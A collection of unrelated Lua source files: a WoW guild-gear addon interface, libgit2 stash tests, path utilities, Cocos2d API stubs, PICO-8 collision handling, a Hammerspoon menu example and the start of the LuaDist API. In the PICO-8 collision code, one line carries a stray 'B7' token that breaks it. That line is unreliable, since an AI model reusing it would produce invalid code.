func = function() self.Core:ClearLogs(); end,
},
logs = {
order = 7,
name = L["DEBUG_LOGS"],
type = "group",
guiInline = true,
cmdHidden = true,
args = {
debugLogs = {
type = "description",
width = "full",
name = function() return self:GetLogs(); end,
},
},
},
},
},
},
};
return options;
end
function GuildGearRulesUserInterface:UpdateCharacterView()
-- Update currently viewed cheater in UI.
local cheaters = self.Core.Inspector.Cheaters;
local exists = false;
for index, value in pairs(cheaters) do
if (value:HasCheatedDataCount() > 0 and value.GUID == self.ViewedCheater.GUID) then
exists = true;
end
end
if (not exists) then
self.ViewedCheater = nil;
self.ViewedCharacterData = nil;
end
if (self.ViewedCheater == nil or self.ViewedCheater:HasCheatedDataCount() == 0) then
if (#cheaters > 0) then
for key, cheater in pairs(cheaters) do
if (cheater:HasCheatedDataCount() > 0) then
self:ViewCheater(cheater.GUID);
break;
end
end
end
end
end
function GuildGearRulesUserInterface:ViewCheater(guid)
self.ViewedCheater = self.Core.Inspector:GetCheater(guid);
for key, data in pairs(self.ViewedCheater.Data) do
if (data.HasCheated) then
self.ViewedCharacterData = data;
break;
end
end
self:Refresh();
end
function GuildGearRulesUserInterface:GetCheaterList()
local array = { };
for key, cheater in pairs(self.Core.Inspector.Cheaters) do
if (cheater:HasCheatedDataCount() > 0) then
local hasCheatedCount = cheater:HasCheatedDataCount();
local cheatingCount = cheater:CheatingDataCount();
local ending = " " .. Color(C.ORANGE, L["CHEATER_STATUS_MIXED"]);
local sort = 1;
-- All reports show as cheating.
if (cheatingCount > 0 and cheatingCount == hasCheatedCount) then
ending = " " .. Color(C.RED, L["CHEATER_STATUS_CHEATING"]);
sort = 0;
-- No reports show as cleared.
elseif (cheatingCount == 0) then
ending = " " .. Color(C.GREEN, L["CHEATER_STATUS_CLEARED"]);
sort = 2;
end
self.Core:AddSorted(array, sort, cheater.Name, "[" .. cheater.GUID .. "]" .. self:ClassColored(cheater.Name, CLASSES_FILE[cheater.ClassID]) .. " (" .. hasCheatedCount .. ")" .. ending);
end
end
table.sort(array);
self.SortedCheaterGUIDS = { };
self.SortedCheaterIDs = { };
local cheaterList = { };
local count = 1;
for i, text in ipairs(array) do
local guid = string.match(text, "%[(.*)%]");
local text = string.match(text, "%](.*)");
cheaterList[count] = text;
self.SortedCheaterGUIDS[count] = guid;
self.SortedCheaterIDs[guid] = count;
count = count + 1;
end
return cheaterList;
end
function GuildGearRulesUserInterface:ViewCheaterData(guid)
for key, data in pairs(self.ViewedCheater.Data) do
if (data.Capturer.GUID == guid) then
self.ViewedCharacterData = data;
end
end
end
function GuildGearRulesUserInterface:GetCheaterDataList()
local dataList = { };
if (self.ViewedCheater == nil) then return dataList; end
for key, data in pairs(self.ViewedCheater.Data) do
if (data.HasCheated) then
local ending = " " .. Color(C.GREEN, L["CHEATER_STATUS_CLEARED"]);
if (data:IsCheating()) then
ending = " " .. Color(C.RED, L["CHEATER_STATUS_CHEATING"]);
end
dataList[data.Capturer.GUID] = self:ClassColored(data.Capturer.Name, CLASSES_FILE[data.Capturer.ClassID]) .. ending;
end
end
return dataList;
end
function GuildGearRulesUserInterface:GetCheaterHeader()
if (self.ViewedCheater == nil) then return L["CHEATER_NIL_SELECTED"]; end
return self.ViewedCheater.Name .. " " .. self.ViewedCheater.Level .. " " .. " " .. CLASSES_NAME[self.ViewedCheater.ClassID];
end
function GuildGearRulesUserInterface:GetCheaterBannedItems(equipped)
if (self.ViewedCharacterData == nil) then return ""; end
local text = L["CHEATER_ITEMS_EQUIPPED_CURRENTLY"] .. "\n";
if (not equipped) then text = L["CHEATER_ITEMS_EQUIPPED_PREVIOUSLY"] .. "\n"; end
for key, item in pairs(self.ViewedCharacterData.Items) do
if (equipped == item.Equipped) then
if (item == nil or item.SlotID == nil or item.Link == nil or item.Time == nil) then
self.Core:Log("Cannot display banned item, value missing.", DEBUG_MSG_TYPE.ERROR)
else
text = text .. "|cffffd100" .. INVENTORY_SLOT[tonumber(item.SlotID)] .. "|r: " .. _cstr(L["CHEATER_INFORMATION_ITEM_SEEN"], item.Link, item.Time) .. "\n";
end
end
end
return text;
end
function GuildGearRulesUserInterface:GetCheaterBannedBuffs(active)
if (self.ViewedCharacterData == nil) then return ""; end
local text = L["CHEATER_BUFFS_ACTIVE_CURRENTLY"] .. "\n";
if (not active) then text = L["CHEATER_BUFFS_ACTIVE_PREVIOUSLY"] .. "\n"; end
for key, buff in pairs(self.ViewedCharacterData.Buffs) do
if (active == buff.Active) then
if (buff == nil or buff.SpellID == nil or buff.Time == nil) then
self.Core:Log("Cannot display banned buff, value missing.", DEBUG_MSG_TYPE.ERROR)
else
text = text .. _cstr(L["CHEATER_INFORMATION_ITEM_SEEN"], self:Buff(buff.SpellID), buff.Time) .. "\n";
end
end
end
return text;
end
function GuildGearRulesUserInterface:Show(ignoreToggle)
ignoreToggle = ignoreToggle or false;
local dialog = LibStub("AceConfigDialog-3.0");
if (dialog.OpenFrames["GuildGearRules"] and not ignoreToggle) then
dialog:Close("GuildGearRules")
else
PlaySound(882);
dialog:Open("GuildGearRules")
end
end
function GuildGearRulesUserInterface:ShowTab(tab)
self:Show(true)
if (tab ~= nil) then
LibStub("AceConfigDialog-3.0"):SelectGroup("GuildGearRules", tab);
end
end
function GuildGearRulesUserInterface:AlertTest()
itemName, itemLink = GetItemInfo(self.Core.Constants.AlertTestItemID);
self.Core.Inspector:Alert("Cheaterboy", 4, itemLink);
end
function GuildGearRulesUserInterface:GetItemsAllowed()
if (#self.Core.Rules.Items.AllowedIDs == 0) then return "-"; end
local text = "";
for i = 1, #self.Core.Rules.Items.AllowedIDs do
text = text .. self:DeadItemLink(self.Core.Rules.Items.AllowedIDs[i]) .. " ";
end
return text;
end
function GuildGearRulesUserInterface:GetRulesLevel(level)
if (level == 0) then return L["RULES_LIMITATIONS_LEVEL_ALL"] else return _cstr(L["RULES_LIMITATIONS_LEVEL"], level) end
end
function GuildGearRulesUserInterface:GetExcludedRanks(ranks)
local text = "";
for i = 1, GuildControlGetNumRanks() do
local name = GuildControlGetRankName(i);
if (name ~= nil) then
local color = C.GREEN;
if (ranks:Contains(i)) then color = C.ORANGE; end
text = text .. "#" .. i .. " " .. Color(color, "[" .. name .. "]") .. "\n";
end
end
-- No attributes enabled.
if (text == "") then
text = "-";
end
return text;
end
function GuildGearRulesUserInterface:GetBannedAttributes()
local text = "";
for i = 1, #self.Core.Rules.Items.BannedAttributes do
local attribute = self.Core.Rules.Items.BannedAttributes[i];
if (attribute.Name ~= nil) then
text = text .. self:Attribute(attribute) .. " ";
end
end
-- No attributes enabled.
if (text == "") then
text = "-";
end
return text;
end
function GuildGearRulesUserInterface:FormattedBoolean(bool)
if (bool) then return L["YES"]; else return L["NO"] ; end
end
function GuildGearRulesUserInterface:GetRulesApply()
local text = Color(C.RULE, L["RULES_APPLY_IN_WORLD"]) .. ": " .. self:FormattedBoolean(self.Core.Rules.Apply.World);
text = text .. "\n" .. Color(C.RULE, L["RULES_APPLY_IN_DUNGEONS"]) .. ": " .. self:FormattedBoolean(self.Core.Rules.Apply.Dungeons);
text = text .. "\n" .. Color(C.RULE, L["RULES_APPLY_IN_RAIDS"]) .. ": " .. self:FormattedBoolean(self.Core.Rules.Apply.Raids);
text = text .. "\n" .. Color(C.RULE, L["RULES_APPLY_IN_BATTLEGROUNDS"]) .. ": " .. self:FormattedBoolean(self.Core.Rules.Apply.Battlegrounds);
return text;
end
function GuildGearRulesUserInterface:GetBannedBuffs()
local text = "";
for i = 1, #self.Core.Rules.BannedBuffGroups do
local buffGroup = self.Core.Rules.BannedBuffGroups[i];
if (buffGroup.MinimumLevel == nil) then
text = text .. Color(C.RULE, L["RULES_BANNED_BUFFS"]) .. "\n";
else
text = text .. Color(C.RULE, _cstr(L["RULES_BANNED_BUFFS_LEVEL"], buffGroup.MinimumLevel) .. "\n");
end
for j = 1, #buffGroup.IDs do
text = text .. self:Buff(buffGroup.IDs[j]) .. "\n";
end
text = text .. "\n";
end
-- No attributes enabled.
if (text == "") then
text = "-";
end
return text;
end
function GuildGearRulesUserInterface:GetLogs()
local logs = "";
if (#self.Core.LogLines == 0) then return logs; end
for i = #self.Core.LogLines, 1, -1 do
local ending = "";
if (self.Core.LogLines[i].Times > 1) then
ending = " |cffc41f3b(#" .. self.Core.LogLines[i].Times .. ")|r";
end
logs = logs .. self.Core.LogLines[i].Text .. ending .. "\n";
end
return logs;
end
function GuildGearRulesUserInterface:Refresh()
LibStub("AceConfigRegistry-3.0"):NotifyChange("GuildGearRules");
end
function GuildGearRulesUserInterface:ClassColoredName(name, unitID)
classFileName, classId = UnitClassBase(unitID);
return self:ClassColored(name, classFileName);
end
function GuildGearRulesUserInterface:ClassColored(text, classFileName)
rPerc, gPerc, bPerc, argbHex = GetClassColor(classFileName);
text = text or "(Missing text)";
local color = "|c" .. argbHex;
return color .. text .. "|r";
end
function GuildGearRulesUserInterface:ClassIDColored(text, classID)
local r, g, b, hex = GetClassColor(CLASSES_FILE[classID]);
return "|c" .. hex .. text .. "|r";
end
function GuildGearRulesUserInterface:ClassNameID(className)
for i = 1, #CLASSES_NAME do
if (CLASSES_NAME[i] == className) then
return i;
end
end
return nil;
end
function GuildGearRulesUserInterface:Buff(spellID)
local name = GetSpellInfo(spellID);
return "|cffffd100[" .. name .. "]|r";
end
function GuildGearRulesUserInterface:Attribute(attribute)
if (attribute == nil or attribute.Name == nil) then
return "Missing text";
end
return Color(C.ATTRIBUTE, "[" .. attribute.Name .. "]");
end
function GuildGearRulesUserInterface:GetItemQualityText(val)
if (val == nil) then return "-"; end
return ITEM_QUALITY_COLORS[val].hex .._G["ITEM_QUALITY" .. val .. "_DESC"] .. "|r";
end
function GuildGearRulesUserInterface:DeadItemLink(itemID)
local quality = C_Item.GetItemQualityByID(itemID);
-- Quality might not be returned if item aint cached.
if (quality == nil or quality == -1) then
return "|cff889d9d[" .. itemID .. "]|r";
end
return ITEM_QUALITY_COLORS[quality].hex .. "[" .. C_Item.GetItemNameByID(itemID) .. "]" .. "|r";
end
function GuildGearRulesUserInterface:HyperlinkInfo(hyperlink)
local _, _, Color, Ltype, Id, Enchant, Gem1, Gem2, Gem3, Gem4, Suffix, Unique, LinkLvl, Name = string.find(hyperlink,
"|?c?f?f?(%x*)|?H?([^:]*):?(%d+):?(%d*):?(%d*):?(%d*):?(%d*):?(%d*):?(%-?%d*):?(%-?%d*):?(%d*):?(%d*):?(%-?%d*)|?h?%[?([^%[%]]*)%]?|?h?|?r?");
return Color, Ltype, tonumber(Id), Enchant, Gem1, Gem2, Gem3, Gem4, Suffix, Unique, LinkLvl, Name;
end
|
--[=[
MIT License
Copyright (c) 2016 Johannes Westhuis, Alexander Schulz
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
]=]--
--stash
local luagi = require( "luagi" )
local test_helper = require( "test_helper" )
local stasher = {
name = "A. Name",
email = "has@mail.com"
}
describe( "stash #stash", function()
local repo = nil
local oid = nil
local err = nil
setup( function()
test_helper.setup()
--create change
local file = io.open( test_helper.path.."/testfile", "w" )
file:write( "more, more, more")
file:close()
repo, err = luagi.open( test_helper.path )
if err then return end
oid, err = repo:stash( stasher )
end)
it( "should not have an error", function()
assert.is.falsy( err )
end)
it( "has an oid", function()
assert.is.not_nil( oid )
end)
end)
describe( "stash_for_each #stash", function()
local repo = nil
local oid = nil
local err = nil
local message = "the_message"
setup( function()
test_helper.setup()
--create change
local file = io.open( test_helper.path.."/testfile", "w" )
file:write( "more, more, more")
file:close()
repo, err = luagi.open( test_helper.path )
if err then return end
oid, err = repo:stash( stasher, message )
end)
it( "should have 1 stashed element", function()
local i = 0
local lid = nil
local lmsg = nil
local loid = nil
repo:stash_for_each( function( id, msg, stash_oid )
i = i + 1
lid = id
lmsg = msg
loid = stash_oid
return 0
end)
assert.is.not_nil( lmsg )
assert.are.equal( oid, loid )
assert.are.equal( 1, i )
end)
end)
describe( "stash_drop #stash", function()
local repo = nil
local oid = nil
local err = nil
local message = "the_message"
setup( function()
test_helper.setup()
--create change
local file = io.open( test_helper.path.."/testfile", "w" )
file:write( "more, more, more")
file:close()
repo, err = luagi.open( test_helper.path )
if err then return end
oid, err = repo:stash( stasher, message )
repo:stash_drop( 0 )
end)
it( "should have no elements", function()
local i = 0
repo:stash_for_each( function( id, msg, stash_oid )
i = i + 1
end)
assert.are.equal( 0, i )
end)
end)
|
return {'requiem','requiemmis','requisitoir','requiemmissen','requiems','requisitoiren','requisitoirs'}
|
--[[
Copyright (C) 2013 simplex
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
]]--
local Pred = wickerrequire 'lib.predicates'
local DIR_SEP_CHARS = "/\\"
if not DIR_SEP_CHARS:find(package.config:sub(1,1), 1, true) then
DIR_SEP_CHARS = DIR_SEP_CHARS .. package.config:sub(1,1)
end
local MODULE_SEP_CHARS = DIR_SEP_CHARS .. "."
local CANONICAL_DIR_SEP = "/"
local CANONICAL_MODULE_SEP = "."
--[[
-- Maps a category ("Module", "File") to its parameters.
--]]
local conventions = {
[""] = {
suffixes = {"Path"},
separators = DIR_SEP_CHARS,
canonical_separator = CANONICAL_DIR_SEP,
native_separator = package.config:sub(1,1),
},
Module = {
suffixes = {"", "Path", "Name"},
separators = MODULE_SEP_CHARS,
canonical_separator = CANONICAL_MODULE_SEP,
},
}
--[[
-- Maps a prefix of a function to its generator.
--]]
local GetGenerator, AddGenerator, GeneratorIterator = (function()
local generators = {}
local cache = {}
local function Get(prefix, suffix)
prefix = prefix or ""
suffix = suffix or ""
return generators[prefix] and generators[prefix][suffix]
end
local function Add(prefix, suffix, generator)
prefix = prefix or ""
suffix = suffix or ""
generators[prefix] = generators[prefix] or {}
generators[prefix][suffix] = function(convention)
cache[prefix] = cache[prefix] or {}
cache[prefix][suffix] = cache[prefix][suffix] or {}
if not cache[prefix][suffix][convention] then
cache[prefix][suffix][convention] = generator(convention)
end
return cache[prefix][suffix][convention]
end
end
local function Iterator()
local prefix, suffix
prefix = next(generators)
if prefix == nil then return function() end end
return function()
suffix = next(generators[prefix], suffix)
while suffix == nil do
prefix = next(generators, prefix)
if prefix == nil then return nil end
suffix = next(generators[prefix])
end
return prefix, suffix, generators[prefix][suffix]
end
end
return Get, Add, Iterator
end)()
--[[
-- Returns the path components as an array.
-- If the path starts with a directory separator, the first component will
-- be the empty string.
-- Ignores trailing and repeated slashes.
--]]
AddGenerator("Split", "", function(convention)
local separators = convention.separators
assert( type(separators) == "string" )
return function(path)
assert( Pred.IsStringable(path), "The path should be a string." )
path = tostring(path)
local pieces = {}
local npieces = 0
for m in path:gmatch("[^" .. separators .. "]*") do
if m ~= "" or npieces == 0 then
table.insert(pieces, m)
npieces = npieces + 1
end
end
return pieces
end
end)
local function NewSepReplacer(splitter, sep)
return function(path)
return table.concat(splitter(path), sep)
end
end
AddGenerator("Normalize", "", function(convention)
local splitter, sep = GetGenerator("Split")(convention), convention.canonical_separator
return NewSepReplacer(splitter, sep)
end)
AddGenerator("Native", "", function(convention)
local splitter, sep = GetGenerator("Split")(convention), convention.native_separator
if sep then
return NewSepReplacer(splitter, sep)
end
end)
--
-- seps is the collection of separators, as a string.
--
-- pieces is the output of a path splitter.
--
-- Doesn't account for the full path being the Unix root ("/").
local function NewPathVariantsGenerator(seps)
local function inner_generate_variant(pieces, n, processed_pieces, i)
if i > n then
coroutine.yield( table.concat(processed_pieces) )
return
end
assert( #processed_pieces == 2*i - 3 )
processed_pieces[2*i - 1] = pieces[i]
for j = 1, #seps do
processed_pieces[2*i - 2] = seps:sub(j,j)
inner_generate_variant(pieces, n, processed_pieces, i + 1)
end
processed_pieces[2*i - 2], processed_pieces[2*i - 1] = nil, nil
end
return function(pieces)
assert( #pieces >= 1 )
return inner_generate_variant(pieces, #pieces, {pieces[1]}, 2)
end
end
AddGenerator("", "Variants", function(convention)
local splitter, seps = GetGenerator("Split")(convention), convention.separators
local pathvariants_generator = NewPathVariantsGenerator(seps)
-- Returns an iterator triple.
return function(path)
local pieces = splitter(path)
local co = coroutine.create(function() return pathvariants_generator(pieces) end)
return function(co)
local status, ret = coroutine.resume(co)
if status then
return ret
else
return error(ret)
end
end, co
end
end)
for convention_name, convention in pairs(conventions) do
for prefix, suffix, generator in GeneratorIterator() do
for _, convention_suffix in ipairs(convention.suffixes) do
_M[prefix .. convention_name .. convention_suffix .. suffix] = generator(convention)
end
end
end
return _M
|
--------------------------------
-- @module Scale9Sprite
-- @extend Node
--------------------------------
-- @function [parent=#Scale9Sprite] resizableSpriteWithCapInsets
-- @param self
-- @param #rect_table rect
-- @return Scale9Sprite#Scale9Sprite ret (return value: cc.Scale9Sprite)
--------------------------------
-- @function [parent=#Scale9Sprite] setInsetBottom
-- @param self
-- @param #float float
--------------------------------
-- overload function: initWithSpriteFrameName(string)
--
-- overload function: initWithSpriteFrameName(string, rect_table)
--
-- @function [parent=#Scale9Sprite] initWithSpriteFrameName
-- @param self
-- @param #string str
-- @param #rect_table rect
-- @return bool#bool ret (retunr value: bool)
--------------------------------
-- @function [parent=#Scale9Sprite] setInsetTop
-- @param self
-- @param #float float
--------------------------------
-- @function [parent=#Scale9Sprite] init
-- @param self
-- @return bool#bool ret (return value: bool)
--------------------------------
-- @function [parent=#Scale9Sprite] setPreferredSize
-- @param self
-- @param #size_table size
--------------------------------
-- @function [parent=#Scale9Sprite] setSpriteFrame
-- @param self
-- @param #cc.SpriteFrame spriteframe
--------------------------------
-- overload function: initWithBatchNode(cc.SpriteBatchNode, rect_table, rect_table)
--
-- overload function: initWithBatchNode(cc.SpriteBatchNode, rect_table, bool, rect_table)
--
-- @function [parent=#Scale9Sprite] initWithBatchNode
-- @param self
-- @param #cc.SpriteBatchNode spritebatchnode
-- @param #rect_table rect
-- @param #bool bool
-- @param #rect_table rect
-- @return bool#bool ret (retunr value: bool)
--------------------------------
-- @function [parent=#Scale9Sprite] getInsetBottom
-- @param self
-- @return float#float ret (return value: float)
--------------------------------
-- @function [parent=#Scale9Sprite] getCapInsets
-- @param self
-- @return rect_table#rect_table ret (return value: rect_table)
--------------------------------
-- @function [parent=#Scale9Sprite] updateWithBatchNode
-- @param self
-- @param #cc.SpriteBatchNode spritebatchnode
-- @param #rect_table rect
-- @param #bool bool
-- @param #rect_table rect
-- @return bool#bool ret (return value: bool)
--------------------------------
-- @function [parent=#Scale9Sprite] getInsetRight
-- @param self
-- @return float#float ret (return value: float)
--------------------------------
-- @function [parent=#Scale9Sprite] getOriginalSize
-- @param self
-- @return size_table#size_table ret (return value: size_table)
--------------------------------
-- overload function: initWithFile(string, rect_table)
--
-- overload function: initWithFile(string, rect_table, rect_table)
--
-- overload function: initWithFile(rect_table, string)
--
-- overload function: initWithFile(string)
--
-- @function [parent=#Scale9Sprite] initWithFile
-- @param self
-- @param #string str
-- @param #rect_table rect
-- @param #rect_table rect
-- @return bool#bool ret (retunr value: bool)
--------------------------------
-- @function [parent=#Scale9Sprite] getInsetTop
-- @param self
-- @return float#float ret (return value: float)
--------------------------------
-- @function [parent=#Scale9Sprite] setInsetLeft
-- @param self
-- @param #float float
--------------------------------
-- overload function: initWithSpriteFrame(cc.SpriteFrame)
--
-- overload function: initWithSpriteFrame(cc.SpriteFrame, rect_table)
--
-- @function [parent=#Scale9Sprite] initWithSpriteFrame
-- @param self
-- @param #cc.SpriteFrame spriteframe
-- @param #rect_table rect
-- @return bool#bool ret (retunr value: bool)
--------------------------------
-- @function [parent=#Scale9Sprite] getPreferredSize
-- @param self
-- @return size_table#size_table ret (return value: size_table)
--------------------------------
-- @function [parent=#Scale9Sprite] setCapInsets
-- @param self
-- @param #rect_table rect
--------------------------------
-- @function [parent=#Scale9Sprite] getInsetLeft
-- @param self
-- @return float#float ret (return value: float)
--------------------------------
-- @function [parent=#Scale9Sprite] setInsetRight
-- @param self
-- @param #float float
--------------------------------
-- overload function: create(string, rect_table, rect_table)
--
-- overload function: create()
--
-- overload function: create(rect_table, string)
--
-- overload function: create(string, rect_table)
--
-- overload function: create(string)
--
-- @function [parent=#Scale9Sprite] create
-- @param self
-- @param #string str
-- @param #rect_table rect
-- @param #rect_table rect
-- @return Scale9Sprite#Scale9Sprite ret (retunr value: cc.Scale9Sprite)
--------------------------------
-- overload function: createWithSpriteFrameName(string, rect_table)
--
-- overload function: createWithSpriteFrameName(string)
--
-- @function [parent=#Scale9Sprite] createWithSpriteFrameName
-- @param self
-- @param #string str
-- @param #rect_table rect
-- @return Scale9Sprite#Scale9Sprite ret (retunr value: cc.Scale9Sprite)
--------------------------------
-- overload function: createWithSpriteFrame(cc.SpriteFrame, rect_table)
--
-- overload function: createWithSpriteFrame(cc.SpriteFrame)
--
-- @function [parent=#Scale9Sprite] createWithSpriteFrame
-- @param self
-- @param #cc.SpriteFrame spriteframe
-- @param #rect_table rect
-- @return Scale9Sprite#Scale9Sprite ret (retunr value: cc.Scale9Sprite)
--------------------------------
-- @function [parent=#Scale9Sprite] isOpacityModifyRGB
-- @param self
-- @return bool#bool ret (return value: bool)
--------------------------------
-- @function [parent=#Scale9Sprite] setColor
-- @param self
-- @param #color3B_table color3b
--------------------------------
-- @function [parent=#Scale9Sprite] setOpacityModifyRGB
-- @param self
-- @param #bool bool
--------------------------------
-- @function [parent=#Scale9Sprite] setOpacity
-- @param self
-- @param #unsigned char char
--------------------------------
-- @function [parent=#Scale9Sprite] updateDisplayedOpacity
-- @param self
-- @param #unsigned char char
--------------------------------
-- @function [parent=#Scale9Sprite] updateDisplayedColor
-- @param self
-- @param #color3B_table color3b
--------------------------------
-- @function [parent=#Scale9Sprite] setContentSize
-- @param self
-- @param #size_table size
--------------------------------
-- @function [parent=#Scale9Sprite] Scale9Sprite
-- @param self
return nil
|
local PANEL = {}
surface.CreateFont("PVB.WeaponDisplay1", {
font = "Trebuchet MS",
size = 30,
weight = 700
})
function PANEL:Paint()
end
vgui.Register("PVBWeapons", PANEL, "DPanel")
|
--TODO:adjust in context
--sprite flag to toggle blocks
flag_block=0
--TODO:adjust in context
--mechanics
--{{sp,x,y,collide?},..}
mcns={}
--TODO:adjust in context
--table of sprite to hitboxes
--{sp={{x,y,w,h},..},..}
custom_hitboxes={}
function sp_hitboxes(sp,x,y)
local hbs=custom_hitboxes[sp]
if not hbs then
return {{x=x,y=y,w=8,h=8}}
end
local r={}
for hb in all(hbs) do
add(r,{
x=hb[1]+x,
y=hb[2]+y,
w=hb[3],
h=hb[4],
})
end
return r
end
function sp_collisions_iter(
sp,x,y,phb,flag
)
if not fget(sp,flag) then
return function() end
end
local hbs=sp_hitboxes(sp,x,y)
local i=0
return function()
while i<#hbs do
i+=1
local hb=hbs[i]
if intersects(phb,hb) then
return hb
end
end
end
end
function resolve_collisions(p)
--p:{x,y,hitbox():{x,y,w,h}}
local collisions={}
local function add_colliding(
sp,x,y,
flag,phb,
resolve_fn_args
)
for mhb in sp_collisions_iter(
sp,x,y,phb,flag
) do
local res_fn,res_args=
resolve_fn_args(mhb)
local x=intersect(phb,mhb)
insert(
collisions,
{res_fn,res_args},
x.w+x.h
)
end
end
--check colliding map tiles
local phb=p:hitbox()
local x1=phb.x
local x2=phb.x+phb.w-1
local y1=phb.y
local y2=phb.y+phb.h-1
for x in all({x1,x2}) do
for y in all({y1,y2}) do
local sp=mget(x/8,y/8)
local tilex=x\8*8
local tiley=y\8*8
--block when colliding with
--tiles that have flag_block
add_colliding(
sp,tilex,tiley,
flag_block,
phb,
function(mhb)
return block,{mhb,mhb,p}
end
)
end
--check colliding mechanics
for mcn in all(mcns) do
if mcn.collide then
--invoke the mechanics'
--collide() when flag_block
add_colliding(
mcn.sp,mcn.x,mcn.y,
flag_block,
phb,
function(mhb)
return mcn.collide,{mcn,mhb,p}B7
end
)
end
end
--resolve collisions from the
--most to least colliding
while #collisions>0 do
local r=pop(collisions)[1]
local r_fn=r[1]
r_fn(unpack(r[2]))
end
end
--blocks p from intersecting cl,
--adjusting for specific hitboxes
--can be used as mcn.collide
--returns block direction
function block(cl,clhb,p)
local phb=p:hitbox()
local x=intersect(phb,clhb)
--resolve using shallowest axis
local aim=nil
if x.w<x.h then
aim=phb.x<cl.x and "⬅️" or "➡️"
else
aim=phb.y<cl.y and "⬆️" or "⬇️"
end
if aim=="⬅️" then
p.dx=min(p.dx,0)
p.x+=min(clhb.x-phb.x-phb.w,0)
return aim
elseif aim=="➡️" then
p.dx=max(p.dx,0)
p.x+=max(clhb.x+clhb.w-phb.x,0)
return aim
elseif aim=="⬆️" then
p.dy=min(p.dy,0)
p.y+=min(clhb.y-phb.y-phb.h,0)
return aim
elseif aim=="⬇️" then
p.dy=max(p.dy,0)
p.y+=max(clhb.y+clhb.h-phb.y,0)
return aim
end
end
--insert v in t and sort t by p
function insert(t,v,p)
if #t>=1 then
add(t,{})
for i=(#t),2,-1 do
local n=t[i-1]
if p<n[2] then
t[i]={v,p}
return
else
t[i]=n
end
end
t[1]={v,p}
else
add(t,{v,p})
end
end
--pop first element of t
function pop(t)
local top=t[1]
for i=1,(#t) do
if i==(#t) then
del(t,t[i])
else
t[i]=t[i+1]
end
end
return top
end
|
-- This example is for an Application launching menu Most of the necessary
-- settings for this menu are already the defaults, but it serves as a simple
-- example none-the-less.
local FLM = require("hs._asm.filelistmenu")
-- create the application menu and give it a default label
local appMenu = FLM.new("Apps") ;
-- The defaults for filelistmenu will create an Application based menu starting from
-- the /Applications directory. The commands listed here are included so you can more
-- easily see what is actually being setup, but they aren't really necessary for
-- this default behavior, so they are commented out.
-- Show an icon, if one is provided
--appMenu:showForMenu("icon")
-- The match criteria here is a string which matches any name which ends in .app. The
-- parenthesis are included to indicate the portion of the name to use as the menu items
-- label... without the parenthesis, the full name matched would be used.
--appMenu:menuCriteria("^([^/]+)%.app$")
-- This function indicates what action should occur when a menu item is selected
--appMenu:actionFunction(function(x) hs.application.launchOrFocus(x) end)
-- This function indicates what action should occur when a subfolder itself is selected
--appMenu:folderFunction(function(x) os.execute([[open -a Finder "]]..x..[["]]) end)
-- Specify the root directory to start from.
appMenu:rootDirectory({
macOS = "/System/Applications",
Applications = "/Applications",
User = os.getenv("HOME") .. "/Applications",
})
-- The maximum folder depth that we will search for files or folders which match the
-- criteria. This prevents potential loops, which would ultimately crash HS.
appMenu:subFolderDepth(7)
-- If false, then warning messages will not be printed to the HS console.
-- appMenu:showWarnings(true)
-- Define an icon using ASCIIArt. See hs.drawing and
-- http://cocoamine.net/blog/2015/03/20/replacing-photoshop-with-nsstring/
appMenu:menuIcon("ASCII:....................\n"..
"............1..4....\n"..
"....................\n"..
"....................\n"..
"....................\n"..
"....................\n"..
"....................\n"..
"....................\n"..
"....................\n"..
"....................\n"..
"....................\n"..
"...B...............A\n"..
"8...............9...\n"..
"....................\n"..
"....................\n"..
"....................\n"..
"...2...........5....\n"..
"....................\n"..
"...3..........6.....\n"..
"....................")
-- Sort folder items before file items in the menu
appMenu:subFolders("before")
-- activate the menu
appMenu:activate()
-- This allows you to include this file like 'menu = require(...)' and capture the
-- menu object in case you want to manipulate it elsewhere.
appMenu:itemImages(true)
return appMenu
|
local function Values1D(Structure)
local Result = {}
local Index = 1
for _, Value in pairs(Structure) do
Result[Index] = Value
Index += 1
end
return Result
end
return Values1D
|
--- LuaDist Primary API functions
-- Peter Drahoš, Peter Kapec, LuaDist Project, 2010
--- This file contains the basic functions of LuaDist.
-- Feel free to use this exposed API in your projects if you need to deploy something automatically.
-- Please note that everything may change in future releases.
--- Terminology used:
-- _dist_ - General reference to "package" in LuaDist, often synonymous with _info_.
-- _info_ - Meta-data describing a _dist_. Collected from dist.info files inside dist archives.
-- _manifest_ - A collection of sorted _info_ entries in a table. Sorted alphabetically by name and by version descending.
-- _name_ - Refers to a string containing dist name and version constraints. Eg. "lua-5.1.4" or "luajit>=2"
-- _deployment_ - A directory containing dists installed using LuaDist.
module ("dist", package.seeall)
-- Include Submodules
local man = require "dist.manifest"
local pkg = require "dist.package"
local per = require "dist.persist"
local cfg = require "dist.config"
local sys = require "dist.sys"
local dep = require "dist.dep"
local log = require "dist.log"
--- Get contents of repository or a list of repositories.
-- _getManifest_ is used to fetch or generate collections of dist.info entries from
-- URIs, system paths and on-line repositories. Returned dist manifests are not
-- filtered and may not be appropriate for installation, see _filterManifest_ for this
-- purpose.
--
-- Dist information is gathered by collecting dist.info entries from dist.manifest
-- file in case an URL to on-line repository is given. System paths are searched
-- for dist.info files on demand and do extracted dists can be used for local
-- repositories, this is handy for bootstrap and development of multiple
-- interconnected dists. Zip archives and dists are peeked into on demand and in
